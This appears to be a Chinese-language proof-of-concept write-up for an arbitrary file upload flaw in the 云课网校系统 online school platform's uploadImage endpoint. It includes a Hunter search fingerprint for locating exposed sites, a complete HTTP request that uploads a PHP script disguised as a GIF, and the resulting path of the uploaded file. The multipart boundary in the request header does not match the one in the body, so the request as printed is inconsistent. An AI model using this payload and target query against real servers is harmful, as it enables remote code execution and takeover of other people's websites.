Y13-1云课网校系统-文件上传

漏洞描述：

云课网校系统是一款开源在线教育网站平台，主要用于在线点播、在线直播、题库等功能，非常适合于个人和小型机构创建自己的在线教育网站。 云课网校系统uploadImage存在任意文件上传漏洞，攻击者可通过该漏洞获取服务器权限。

影响版本：

• <云课网校系统3.0.5
• 05c8e6b9ce08a59c60a8061cef83a2b2.zip

网站图片:

网络测绘:

Hunter 语法:

hunterweb.body=“/static/libs/common/jquery.stickyNavbar.min.js”

漏洞复现:

payload：

POST /api/uploader/uploadImage HTTP/1.1
Host: xx.xx.xx.xx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: no-cache
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykvjj6DIn0LIXxe9m
x-requested-with: XMLHttpRequest

------WebKitFormBoundaryLZbmKeasWgo2gPtU
Content-Disposition: form-data; name="file"; filename="1G3311040N.php"
Content-Type: image/gif

<?php phpinfo();?>
------WebKitFormBoundaryLZbmKeasWgo2gPtU--

效果图:

上传文件路径/upload/image/20231206/10f4784dc45961c0dc43cfdf3dd5fa75.php